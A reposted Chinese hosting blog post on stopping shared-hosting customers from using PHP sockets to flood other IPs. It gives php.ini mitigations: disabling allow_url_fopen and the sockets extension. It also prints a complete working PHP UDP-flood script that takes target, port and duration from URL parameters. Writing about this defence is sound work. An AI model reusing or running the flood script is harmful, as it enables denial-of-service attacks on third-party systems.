User-Profile-Image
hankin
  • 5
  • 首页
  • 分类
    • Windows
    • Web
    • VoIP
    • Virtualization
    • Trading
    • Smart Home
    • SEO
    • Security
    • Python
    • Program
    • PHP
    • OSX
    • OS
    • OpenSource
    • Nginx
    • MySQL
    • Mood
    • Linux
    • Life
    • Injection
    • Hosting
    • Finance
    • Exploits
    • CDN
  • 页面
    • About
  • 友链
    • 维酷科技
Help?

Please contact us on our email for need any support

Support
  • 首页
    首页   ›   Hosting   ›   正文
Hosting

防止虚拟主机用户利用PHP代码DOS造成用光网络带宽

2010-09-17 17:17:25
2338  0 0

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下: 
$packets = 0; 
$ip = $_GET[\’ip\’]; 
$rand = $_GET[\’port\’]; 
set_time_limit(0); 
ignore_user_abort(FALSE); 

$exec_time = $_GET[\’time\’]; 

$time = time(); 
print \”Flooded: $ip on port $rand 

\”; 
$max_time = $time+$exec_time; 

for($i=0;$i<65535;$i++){ 
$out .= \”X\”; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 

$fp = fsockopen(\”udp://$ip\”, $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo \”Packet complete at \”.time(\’h:i:s\’).\” with $packets (\” . round(($packets*65)/1024, 2) . \” mB) packets averaging \”. round($packets/$exec_time, 2) . \” packets/s \\n\”; 
?> 

表现特征: 

一打开IIS,服务器的流出带宽就用光—–就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包. 

解决办法: 

在c:\windows\php.ini里设其值为Off 

allow_url_fopen = Off 

并且: 

;extension=php_sockets.dll 

前面的;号一定要有,意思就是限制用sockets.dll 

然后重启IIS

这是一篇转载文章

评论 (0)

Click here to cancel reply.

欢迎您 游客  

    ProdigYu
    181文章 17评论 4点赞 603437浏览
    随机文章
    Find命令简单使用说明
    14年前
    通过批处理删除被挂马后无法删除文件
    15年前
    实用的命令行终端快捷键
    6年前
    Haproxy与iptables端口转发加速
    9年前
    准备增加组DNS
    15年前
    Tags
    Apache CentOS CMD DDOS Debian DNS Docker FastCGI Google IIS IP iptables Linux Mac MySQL Nginx Opensource PHP Python Skill SSH Ubuntu Vim VMware VPN web.py Windows 删除 命令 命令提示符 安装 开源 技巧 插件 漏洞 百度 系统 组件 终端 缓存 网络电话 脚本 自建 详解 错误
    Meta
    • Log in
    • Entries feed
    • Comments feed
    • WordPress.org
    Copyright © 2025
    主页
    页面
    • About
    博主
    ProdigYu 管理员
    Something about myself
    181 文章 17 评论 603437 浏览
    测试
    测试